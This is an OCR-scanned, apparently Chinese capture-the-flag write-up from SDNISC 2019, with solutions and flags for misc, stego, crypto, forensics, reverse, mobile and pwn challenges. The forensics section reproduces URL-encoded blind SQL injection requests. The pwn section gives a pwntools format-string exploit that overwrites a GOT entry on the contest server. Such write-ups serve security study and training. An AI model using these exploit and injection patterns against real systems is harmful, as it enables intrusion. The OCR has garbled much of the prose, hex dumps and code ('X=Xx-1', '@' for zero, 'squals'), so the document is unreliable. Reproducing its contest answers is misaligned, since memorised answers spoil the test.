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Welcome to isc Ifl

flagee—A—"Mt, HEKAKKEMH!

IDAERE, flagtZh
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33| std::__cxx1l::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
34] "Welcome to sdnisc I,

35| &w17);

36| std::allocator<char>::~allocator(&v17);

37| std::allocator<chars::allocator(&18);

38| vs = 2;

39| std::__cxx1l::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
49 "flag{12ab82cd686a42850ab562fF2f0f2416}",

21| &v1s);

Misc-EL A4 (15pt)

XS BEAMHR, ERHLOT (508D , BUARNMRE, 4R. .
e AARLUDANFRA/R, S68E:

R-right L-left U-up D-down

EE (i) . (APILEWA LD

import numpy as np

s="DDDDDDDDDRRRRRRDDDDDDDDDDDDDDDDLLLDDDDDDDDDDDLLRRRRLLDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRR

flag =np.zeros((199,100))

X=0

y=0

for i in range(len(s)):
if(s[i]=='D"):
y=y+1
flag[x][y]="1"
elif(s[i]=="U"):
y=y-1
flag[x][y]="1"
elif(s[i]=="R"):
X=X+1
flag[x][y]="1"
elif(s[i]=="L"):
X=Xx-1
flag[x][y]l="1"

f = open('flag.txt',

w', encoding="utf-8")

for j in range(100):
o=t
for z in range(199):
if(str(flag[z][j])=="0.0"):
s+=" "'
else:
s+="x"'
f.write(s)
f.write('\n")
f.close
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x X OENXEX  XMNXEXX X EXEXX X = = x x ® x = =
x = x  x = = = = x x x = =
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x  x XXXRAX  KXXXE REAXAX KXXRXX XKXRXXX KXXXXX =
x  x x
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Misc-E 46 2% (10pt)
—ANE4EE, BITAF, winhexdTHEE EABF

flag.zip 1

offset 0 1 2 3 4 5 6 17 8§ $ A B C D E F
00000000 4B S0 04 03 00 14 00 09 00 08 72 D7 4F 55 43 9F | Kp
00000010 46 CE 00 34 00 00 00 26 00 00 00 08 00 00 6C 66 FI 4
00000020 (€7 61 74 2E 74 78 C2 1C 1A F% 38 OF 7F 03 C9 62 | gat.txA ug Eb
00000030 F5 3B ED 1B 53 85 CA 59 52 70 F3 4D 7C 25 4B 8F &;1i S.EYRpdM|3K
00000040 |C% 22 76 Al 15 C9 98 00 EF AR 55 BF 06 4F F3 E3 |E*v; E™ 1%U; 06&
00000050 |7E 7C F8 43 E7 €7 B1 DB 81 3A 4B 50 08 07 43 9F ~|zC<;qfl:l :RP  CY
00000060 |46 CE 00 34 00 00 00 26 00 00 4B 50 02 01 00 1F Fi 4 & EP

00000070 00 14 00 09 00 08 72 D7 A4F 55 43 9F 46 CE 00 34 r=xouc¥Fi 4
00000080 0O 00 OO0 26 00 00 00 O8 00 24 00 00 0O 00 00 OO & s

000000%0 00 20 00 00 00 00 00 00 6€C 66 €7 €1 74 2E 74 78 lfgat.tx
00000020 00 OA OO0 20 0O 00 00 OO OO0 O1 00 18 44 BS F4 F3 D186

000000BO 87 D7 Ol D5 3% 04 C2 16 65 51 01 D5 39 04 c2 16 #x 69 & .0 G9 A
000000C0 |85 51 01 DS 4B 50 06 05 00 00 00 00 00 01 00 01  .Q BEP
000000DO 00 5A 00 00 00 €A 00 00O 00 B0 OD 0% 20 OA 20 20 Z 3 €
000Q00ED OD 20 20 OA OR OD 0% 20 OD 20 20 OA OA 0D 20 08

000000F0 20 20 0% 20 OA 0D 20 20 OA OD 20 20 0D 20 09 OA

00000100 20 20 20 20 0D 0% 20 OA 20 20 0D 20 20 OA OD 08

00000110 20 OA 20 0% 0D 20 20 0OA 09 20 0D 20 09 OA 20 20

00000120 20 20 0D 09 20 OA 0% 09 OD 20 20 OA 09 0% 0A 0D

00000130 20 0% 0D 20 0% OA 20 20 20 20 0D 0% 20 OA 20 20

00000140 OaA OD 20 09 0D 20 09 OA OD 20 20 OA 0D 20 20 OA

00000150 20 20 OA 0D 20 09 20 09 OR 0D 47 64 6C 68 €D 63 Gdlhme
00000160 74 55 58 61 74 4D 47 61 73 46 69 5A 77 31 32 64  tUXatMGasFiZwl2d
00000170 74 51 32 63 6C €8 6E 62 70 4E tQ2clhnbpN

Zip3C Sk %2 504B0304, {HIX B 2&4B500403. T H& /)5 baseb4 @Ak, "flagtt"EHALERR T
(Ifgat.tx)

Sefe 8 ZipiF

S="'4B50040300140009000872D74F55439F46CE0034000000260000000800006C666761742E7478C21C1AF9380F7F03C962F53BED1B
sl=""
for i in range(int(len(S)/4)):
s1+=S[4*i+2]
s1+=S[4*i+3]
s1+=S[4*i]
s1+=S[4*i+1]
print(sl)

RITENH 16 HIFTE —zip, AT CLEEIT T, HEAFEEN



2.zip

Offset 0 1 2 3 4 5 6 17 8 9 A B C D E F ANSI ASCII
00000000 S0 4B 03 04 14 00 09 00 08 00 D7 72 55 4F SF 43 ER XrUoYC
00000010 CE 46 34 00 00 00 26 00 00 00 0B 00 00 00 &6 &c  IF4 & £1

00000020 61 €7 2E 74 78 74 1Cc Cc2 F9 1A OF 38 03 7F €2 C9
00000030 3B F5 1B ED &5 53 59 cA 70 52 4D F3 25 7C &F 4B
00000040 22 C9 Al 76 C9 15 00 98 AA EF BF 55 4F 06 E3 F3  *E;vE ~2i;U0 aé
00000050 7C 7E 43 F8 €7 E7 DB B1 3A 81 50 4B 07 08 9F 43 \-Crzsggﬁi: PK ¥C
00000060 CE 46 34 00 00 00 26 00 00 00 SO 4B 01 02 1F 00 £F4 & PK
00000070 14 00 0% 00 08 00 D7 72 55 4F SF 43 CE 46 34 00 xruoycirg
00000080 00 00 26 00 00 00 08 00 24 00 00 00 00 00 00 00 & g

ag.txt Ad 8 DbE
;8 1i.SYEpRM&%| K

000000%0 20 00 00 00 00 0O 00 00 66 éc 61 €7 2E 74 78 74 flag.txt
00000020 OA 00 20 00 00 00 00 00 01 00 18 00 BS 44 F3 F4 1pé68
000000B0 D7 87 D5 01 04 3% 16 C2 51 85 D5 01 04 39 16 c2 =8 9 Ac.8 9 A
000000c0O 51 85 D5 01 50 4B 05 06 00 00 00 00 01 00 01 00 Q.8 PK

000000D0 S5A 00 00 00 €A 00 00 00 80 00 0% OD OA 20 20 20 2z 3j €
000000E0 20 0D OA 20 OD Oa 20 0% 20 Op OA 20 OD 0A 09 20

000000F0 20 20 20 09 0D OA 20 20 OD OA 20 20 20 0D OA 0%

00000100 20 20 20 20 09 OD 0A 20 20 20 20 0D OA 20 09 0D

00000110 ©OA 20 0% 20 20 OD Oa 20 20 09 20 OD Oa 09 20 20

00000120 20 20 09 0D OA 20 09 09 20 0D OA 20 09 0% OD OA

00000130 0% 20 20 OD OA 0% 20 20 20 20 0% OD OA 20 20 20

00000140 OD OA 09 20 20 OD OA 09 20 OD OA 20 20 0D OA 20

00000150 20 20 OD OA 09 20 09 20 OD OA €64 47 68 6C €3 €D dGhlcm
0000010 55 74 61 58 4D 74 61 47 46€ 73 SA €9 31 77 &4 32  UtaXMtaGFsZilwd2
00000170 51 74 63 32 68 6C 62 6E 4E 70 00 00 00 00 00 00  CtcZhlbnNp

B J5 I A~ base64 7] DLIE % i ig 45 3«

dGhlemUtaXMtaGFsZilwd2Qtc2hlbnNp there-is-half-pwd-shensi

E45 B EG R —3 =2 "shensi", (i LLER —FRERWE, H—FLHEHRBEEK. D
ARG AR S IRRE RSN (Ze&HAE, %237)
D4R T "shensi??????" SR AHRK, JFERXAshensiz G50, EH "??????shensii@ii"

O4Eriks!

Advanced Archive Password Recovery $5iHEE:

2i0ng 1,094,047,561

SitadiE 575 954ms

PIGREOSAY) 18,877,861

EAEHNS sdniscshensi Ia

+A#HOE 736468 69 7363 7368 65 6e 7369 4

I R v iwE
F#TF: ¢
#RT: <
#18: [727777shens )
a
€o

HEE0

\WMISC2\misc3\2.2ip 24T FF o ~

2019/11/4 17:28:57 - F RGO,

2019/11/4 17:29:55 - S 2pLTHIKE!

2019/11/4 17:29:55 - 'sdniscshens’ 21X HHI—EROS v
EmER sdniscshensi EEE: 18,878,838 pfs
EFETiEk: 57s FIEATE: 57s
O%KE = 12, it 2,176,782,336, 22ME: 1,094,047,561

50%

JESR P LL B RIR 24 B A% :  sdniscshensi

fif F B W] 43 Blflag. txt

Stego-HkBk~ (5pt)

zstegh) Hiflag, baseG4fEZEIT] (B & i Stegsolve th Al i Hi k)

root@kali: ~/CTF
FEBN(H)

e 0O ¢

SZHH(F) HE(S) )

fRIE(E) BHE(V)

\"3\"$DEWTEgv"
LT T Y oy oy

ffff"

A\ Yy ey ey
\#$TDTUEUEUGTUDTDUETggw
"IN"\#$TTETUEEE



Stego-FZ MK KIHE (20pt)
B . 5 1S AR B 1E S B -

40. 2580 40. 2585 40. 2590 40. 2595 40. 2600 40. 2605 40. 2610 40. 2615 40. 2620
~

ERFEL, TRFO, S—HHHARR TR, RE

f = open('wodezuguo.txt")
flag=""
for i in range(9,38):
line = str(f.readline())
1 = int(line[0:8],2)
flag+=chr(l)
print(flag)
#flag{fe8fd46820513b54cdd59b0485719F94}

Crypto-fij LK) & 1 %= (5pt)

hellO everyone,Are YOU huNGrY? woUld you li To eAt BAcon?

RE—BE, ®RERAERFREERENY

BERELINEE B R 2 Fafb, Frlx BFENIENE PR BN, KEFREUAb, B AT ERE
BIW]1§%): aaaabaaaaaaaabaabbbaabbabaabaaaaaaabaababbaaa

R -



import re

# FERINEH B

class Baconian():
alphabet = ['a’,

g
y!

'b', 'c',

Vi, W, X,

first_cipher = ["aaaaa", "aaaab", "aaaba",
"ababb", "abbaa",
"babba", "babbb",
second_cipher = ["aaaaa", "aaaab",
"ababa", "ababb",
"babaa", "babab",

def __init_ (self, str):
self.str = str
decode(self):

str = self.str.lower()

def

str_array = re.findall(".{5}",

decode_strl =
decode_str2 = ""
for key in str_array:
for i in range(9,26):
if key == Baconian
decode_strl +=
if key == Baconian
decode_str2 +=
print(decode_stri)
print(decode_str2)

if _name__ == '__main__"':
str =
bacon = Baconian(str)

bacon.decode()

8 3lflag: baconeasy

» ety fY, g, h,
;2]

"aaabb",

"abbab", "abbba",

"bbaaa", "bbaab"]

"aaaba", "aaabb",

str)

.first_cipher[i]:
Baconian.alphabet[i]

.second_cipher[i]:
Baconian.alphabet[i]

Crypto-/N IR (15pt)

RSA
“%7Te, n, dp, C

JekpAiq

ity ', k', '1', 'm', 'n', ‘o', 'p', 'q', 'r',
"aabaa", "aabab", "aabba", "aabbb", "abaaa", "abaab
"abbbb", "baaaa", "baaab", "baaba", "baabb", "babaa
"aabaa", "aabab", "aabba", "aabbb", "abaaa", "abaa

"abbaa", "abbab", "abbba", "abbbb", "baaaa", "baaab", "baaba", "baab
"babba", "babbb"]

'aaaabaaaaaaaabaabbbaabbabaabaaaaaaabaababbaaa’



import gmpy2
from Crypto.Util.number import long_to_bytes
from md5 import md5
import random
def gcd(a, b):
if a < b:
a, b =>b, a
while b != 0:
temp = a % b
a=>b
b = temp
return a

def getpq(n,e,d):
p=1
qg=1
while p==1 and g==1:
k=d*e-1
g = random.randint ( @ , n )
while p==1 and g==1 and k % 2 == 0:
k /=2
y = pow(g,k,n)
if y!=1 and gcd(y-1,n)>1:
p = gcd(y-1,n)

q=n/p
return p,q
def main():
n = 132874559018378928431039440207926203692459793792348908672840445003264268709142821089064063059664054
e = 65537
d = 591317922916712527852981087692920294081526731184970969084059479425641071480269272618065340614260809
p ,q = getpq(n,e,d)
print p
#107647785317201635938613393178141436981169492726859562224616683619772885837784464776583745077324474006138
print q

#123434549653615741017160973842764558187458019231621053675528391835379051761664954309351225276389230554108
#print "FLag is flag{%s}" % md5(str(p + q)).hexdigest()

if __name__ == "__main__":
main()
B3 T pMigEiiF 70 7

import gmpy2

from Crypto.Util.number import long to_bytes ,bytes_to_long

import base64

e=65537
Nn=132874559018378928431039440207926203692459793792348908672840445003264268709142821089064063059664054997624
p=107647785317201635938613393178141436981169492726859562224616683619772885837784464776583745077324474006138
q=123434549653615741017160973842764558187458019231621053675528391835379051761664954309351225276389230554108
phi=(qg-1)*(p-1)

d = gmpy2.invert(e, phi) #(e * d) % phi =1

C 1055612633441972245004379853698902776056074194911890030460550217156382443566776724895342246838087336917
m = pow(c, d, n)

print(m)

flag = long_to_bytes(m)

print(flag)

#b'flag{271c7ec33858d491f88a83e3d35ac411}"



Forensic-H &4 #r (10pt)
X KRZ T, ER—THMflagHXKER

2C1%29F2CT%$2C1%29%29%3 DAND%20%272e0x%27%3D%272e0x HTTE/1.1™ 200|209
2C1%29%2C1%2C1%29%29%3 DAND%20%272e0x%27%3D%272e0x HTTE/1.1™ 200|209
2C1%29%2C152C1%29%29%3E 1] COAND%20%272e0x%27%3D%272e0x HTTP/L1.1" 200 215
2C1%29%2C152C1%258%29%3E] VOAND%20%272e0x%27%3D%27Z2e0x HTTP/1.1" 200 215
2C1%29%2C1$2C1%29%29%3E] POAND%20%272e0x%27%3D%27Ze0x HTTP/1.1" 200 209
2C1%29%2C1$2C1%29%29%3E] COAND%20%27Z2e0x%27%3D%27Ze0x HTTP/1.1" 200 215
2C1%29%2C15$2C1%29%29%3F] COAND%20%27Ze0x%27%3D%27Ze0x HTTP/1.1" 20Q 209
2C1%293%2C252C1%29%29%3 DANDS$20%272e0x%27%3D%272e0x HTTE/1.1"™ 200|209
2C1%29%2C252C1%29%29%3E 1] VOAND%20%272e0x%27%3D%27Z2e0x HTTP/1.1" 200 215
2C1%29/%2C2%2C1%29%29%3E] UOAND%20%272e0x%27%3D%27Ze0x HTTP/1.1" 200 209
2C1%29%2C2%2C1%29%29%3E] COAND%20%27Ze0x%27%3D%27Ze0x HTTP/1.1" 20Q 215
2CL%29%2C2%2C1%29%29%3E] COAND%20%272e0x%27%3D%272e0x HTTP/1.1" 200 209
2CL1%29%2C2%2C1%259%29%3E] COAND%20%272e0x%27%3D%27Z2e0x HTTP/1.1" 200 209
2C1%293%2C3%2C1%29%29%3 DAND%20%272e0x%27%3D%272e0x HTTE/1.1™ 200|209
2C1%29%2C3%2C1%29%29% 3 1] DOAND%20%272e0x%27%3D%27Ze0x HTTP/1.1" 200 215
2C1%29%2C3%2C1%29%29%3E] COAND%20%27Ze0x%27%3D%27Ze0x HTTP/1.1" 20(Q 215
2C1%29%2C35%2C1%29%29%3E] COAND%20%272e0x%27%3D%272e0x HTTP/L1.1" 200 215
2C1%29%2C352C1%29%295%3 DANDS20%272e0x%27%3D%272e0x HTTE/1.1™ 200|215
2C1%29%2C3%2C1%29%29%3 DAND%20%272e0x%27%3D%272e0x HTTE/1.1™ 200|215
2C1%29%2C4%2C1%29%29%3 DAND%20%272e0x%27%3D%272e0x HTTE/1.1™ 200|209
2C1%293%2C45%2C1%29%29%3E1] 20AND%20%272e0x%27%3D%272e0x HTTP/1.1" 200 215
2C1%29%2C452C1%25%29%3E] COAND%20%272e0x%27%3D%272e0x HTTP/L1.1" 200 215
2C1%29%2C452C1%29%29%3E] ?0AND%20%272e0x%27%3D%27Z2e0x HTTP/1.1" 200 209
2C1%29%2C4%$2C1%29%29%3F] UOAND%20%272e0x%27%3D%27Ze0x HTTP/1.1" 200 209
2C1%29%2C4%52C1%29%29%3E] COAND%20%27Ze0x%27%3D%27Ze0x HTTP/1.1" 20(Q 215
2C1%29%2C05%2C1%29%29%3 DANDS$20%272e0x%27%3D%272e0x HTTE/1.1™ 200|209
2C1%29%2C0%2C1%29%29%3E 1] COAND%20%272e0x%27%3D%27Z2e0x HTTP/1.1" 200 209
2C1%29%2C5%2C1%29%29%3E] POAND%20%272e0x%27%3D%27Ze0x HTTP/1.1" 200 209
2C1%29%2C5%2C1%29%29%3E] COAND%20%27Z2e0x%27%3D%27Ze0x HTTP/1.1" 200 215
2C192992C5 2C192992993 ] COAND%20%27Ze0x%27%3D%27Ze0x HTTP/1.1" 20Q 209

B RsqEE
(209 A 5)

HEE— A Rflag

s=[102,108,97,103,123,54,55,54,98,97,51,49,98,98,56,97,55,53,102,56,102,100,49,101,102,51,51,56,49,56,100,4

f=

, BERBRILER, ®EFA (C1.

for i in range(len(s)):

f+=chr(s[i])
print(f)

C2..C38) &wJa—MREME 215K HHE LR [ BE]

#flag{676ba31bb8a75f8fdlef33818d04cdld}

Reverse-python& & i 1155 (15pt)

pycR 4mi¥. 015 R M K EHMESOS, (HHERNERAE T Spyc X kixX—HT. CKET)
SewinhexdT & — T 302k

flag.pyc |

330D, A R — python3.6/1 3, (E T4 RIEFEA T Ve, BN sEA=2python3.6/). XBEF

Wi 2 1% =2 3.7(42 0D)BEE2.7(03 F3)
KRIBA03 FIEHRMIFRIN T (RFWFETLA:

uncompyle6)

uncompyle6 flag.pyc > flag.py



# uncompyle6 version 3.3.4

# Python bytecode 2.7 (62211)

# Decompiled from: Python 3.7.3 (v3.7.3:ef4ec6ed12, Mar 25 2019, 22:22:05) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: flag.py

# Compiled at: 2019-10-21 14:01:56

import math

-Flag = '-Flag{**********************}'
sd = []
sdsd = []

for SdSdSdSd in flag:
Sd.append(ord(SdSdsdsd))

def func(Sdsdsd):
SdSdSdSdSd = True
SdSdSdsd = 2
sq = int(math.sqrt(SdSdsd)) + 1
while SdSdSdSd <= sq:
if SdSdSd % SdSdSdsd == @:
SdSd.append(SdSdSdsd + 1)
SdSdSdsdsd = False
func(SdsSdSd / Sdsdsdsd)
SdSdSdsd += 1
break
SdSdSdSd += 1

if SdSdsSdsdsd:
SdSd.append(Sdsdsd + 1)

for SdSdSdSd in Sd:
func(SdSdsdsd)
print SdSsd,
Sdsd = []

# okay decompiling 111.pyc

W R RO, SRR



import math

flag = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{+-*/}"

f =1[[3, 4, 18], [3, 3, 4, 4, 4], [98], [1e4], [4, 42], [1e2], [3, 8, 8], [3, 3, 3, 3, 4], [4, 4, 12], [3,
Sd =[]

Sdsd = []
for SdSdSdSd in flag:
Sd.append(ord(SdSdsdsd))
def func(Sdsdsd):
SdSdSdSdSd = True
Sdsdsdsd = 2
sq = int(math.sqrt(SdSdsd)) + 1
while SdSdSdSd <= sq:
if (SdSdSsd % sdsdsdsd) == @:
SdSd.append(SdSdSdsd + 1)
SdSdSdsdSd = False
func(SdsdSd / Sdsdsdsd)
SdSdSdsd += 1
break
SdSdSdsd += 1

if Sdsdsdsdsd:
SdSd.append(SdSdsd + 1)

flag_str = "'
for i in range(38):
for SdSdSdSd in Sd:
func(Sdsdsdsd)
strsdsd = str(SdSd).replace('.0',"")
if(strsdsd == str(f[i])):
flag_str += chr(SdSdSdsd)
Sdsd = []
print(flag_str)
#flag{ebocf2f1bfc9990ee3d399a2bbde3dd4}

Mobile-25 —&& (10pt)
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char[] flag = argS.toCharArray();
char[] vl = new char[]{'S', 'd", 'n', 'i', 's', 'e', '2", '0', 'l', "9'};
String v2 = "sicl9Sdc02dsllc";
if (flag.length == 0] {
return "EEARE";
}

int v3 = 0;
int vé;
for(v4 = 0; true; ++v4) |
vE = 48;
if(v4 >= flag.length) {
break;
}

if (flag[v4] < vé) [
return “HEEEAROEBE!
¥

if (flag[v4] > 57) {
return "HEFRAROMEET! ;
}
¥

if (flag.length != 15) {
return "HEE! ;
}

String v4_ 1 = "v;

while(v3 < arg9.length()) {
w4_1 = v4_1 + vl[arg9.charAc(v3) - v&];
++v3;

oAl

}

if(v4_l.squals(v2)) {
return "flag{" + Data.mdS5(argd) + "}";
}

return "HFEAMBFRE®R";

v="sic19SdcO2dsi0oc"
s1="Sdnisc2019"'
for
for i in range(len(v)):
for j in range(len(sl)):
if(s1[j]==v[i]):
f += str(j)
print(f)
#435890157614875

Fmd5hn T & B AT, B E £ T AR T IR flaghI iR (B

435890157614875

flag{fa325b75b81d692dcbcedfef1b7eb36})
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Needa permission!

M 5 52 T 55555

public String check(int arg2, int arg3, int argd) {
if (arg2 == 90) |
return this.encrypt(arg2, arg3, argd);
}

return "Score is too low";

t

public String encrypt(int arg7, int arg8, int argd) [
byte[] v2_1; // bas=g4
String v0_1 = 3

lueOf(arg?) + String.valueOf(arg8) + String.valueOf(arg9);

if (v0_l.length() == 8) {
try {
w2 1 = geDigest.getInstance('md5") .digest (encode.encode (v0_1) .getBytes()); // base&d
1
catch (Excep w2) {
throw new RuntimeException ("BERImASHEK! ") ;
]
String v2_2 = new BigInteger(l, w2_l).toString(16);
int v3;
for(v3 = 0; v3 < 32 - v2 2.length(); ++v3) {
v2_2 = "0" + v2_2;

}

if (v2_2.equals ("co3fa9cl07c0d8bas
return "flag{" + v0_1 + "]";

1

return "something wrong";

1

return "something wrong";

FB—NSHER0, ERIOSHNMFZHBR—NFRE, KENS, MBAFAERBMNHENERINME . Z Fbase64n
2, Emds5ing, ERZT"cc3fa9c107c0d8b48d6af32d26eact2a"

FRAE RN

import hashlib
import base64
from Crypto.Util.number import long to_bytes ,bytes_to_long

s = 'cc3fa9c107ced8b48d6af32d26eact2a’
for a2 in range(100, 999):
for a3 in range(100, 999):

s1 = b'90%3d%3d' % (a2, a3)

str = base64.b6dencode((sl))

m = hashlib.md5()

m.update(str)
md5 = m.hexdigest()
if s == md5:

print (md5)

print (s1)
#cc3fa9c107c0d8b48d6af32d26eact2a
#b'90585675"

flag{90585675)

PWN-#i j#2MinZhu (25pt)



angrKizdr, EANEBRIZE Tangr, BAEFXHEHALET .
BREEHNRE, F— ML TR, ZERHRkeyF HANE D,

11| v6 = __readgsdword(@x14u);
S e

12| s = 8;

14 s = @;

15 memset(

1 (void *)((unsigned int)&v3 & OxFFFFFFFC),

(4]

8 4 * (((unsig
19| printf("Key:");
0| _ is0c99 _scanf("%s", &:z);

21| if ( strlen((const char *)&s) == 6
22 8& (_BYTE)s == 128

23 && 120 * SHIBYTE(:s) == 6840

24 &% SBYTE1(s) + SBYTE2(s) == 178

d int)((char *)&s - ((unsigned int)& > & OxFFFFFFFC) + 5@) & @xFFFFFFFC) >> 2));

25 &% SBYTE2(s) - v4 == 46
26 &% SHIBYTE(s) * v4 == 3078
8% v3 + SBYTE2(s) == 221
&& (char)s - v4 == 66 )
{
1=1;
if (vi==1)
puts(“\n Hi, SDNISC 2019 ~~~ \n\n");
else
puts(" e )
if ( __readgsdword(@x14u) != vo )

sub_8048A10();
39| return result;

WHITEERHZRADN, KRS T, angrE#3RE: (angr&
#: https://blog.csdn.net/Hotspurs/article/details/102711880)

import angr
proj = angr.Project("./pwn_MinZhu")

simgr = proj.factory.simgr()
simgr.explore(find=1lambda s: b"Hi, SDNISC 2019 ~~~" in s.posix.dumps(1l))

print simgr.found[@].posix.dumps(0@)

:~/CTF/IDA_ELF# workon angr

{angr) F/IDA_ELF# python angr pwn.py

WARNING | 2019-11-04 ©9:25:30,986 |

xNd9y6
(angr) :~/CTF/IDA_ELF# []

AEM0 AR T Key, AT —AEH


https://blog.csdn.net/Hotspurs/article/details/102711880

1|int sub_8048859()

2

3| int result; // eax

4| unsigned int v1; // etl

5| char s; // [esp+Bh] [ebp-48h]

6| unsigned int v3; // [es jL‘] [ebp-Ch]
7

8 v3 = _ readgsdword(8x14u);

9| printf("\nyour msg:");

10| do

11 {

12 memset (&=, @, Ox3Cu);

13 read(®, &s, ©@x3Cu);

14 printf(&s);

15 puts((const char *)&unk_804BABD);
16 putchar(1@);

17 ++dword_804A0BS;

18 3

19| while ( dword 804A@BS < dword 804A064 );
20| puts("bye~~");

21| vl = _r‘eadgsdword(@xldu),

22| result = RTEH

23] if (v1 lf V} )

24 sub_8048A10();

25| return result;

26(F

wALFRBRE, TERAEZFRRE. .

from pwn import *

context.log_level = 'debug'

cn = remote('172.29.1.28',9999)

#cn = process('pwn_MinzZhu')

print 'next'’

cn.recvuntil('Key:")

cn.sendline( 'xNd9y6"')

print 'next'’

cn.recvuntil('your msg:"')

payload = fmtstr_payload(4,{0x0804A064:0x3})
cn.sendline(payload)

payload = fmtstr_payload(4,{0x0804A060:0x2019})
cn.sendline(payload)

payload = fmtstr_payload(4,{0x804a01c:0x08048696})
cn.sendline(payload)

cn.interactive()

#xNd9y6

BE
BRITEE, PAFRETA SR, BRNEREERHR, BRIV S EIE R R Z MR
CAE U455 T pwn, A% [ LS 50E S i #E 2%
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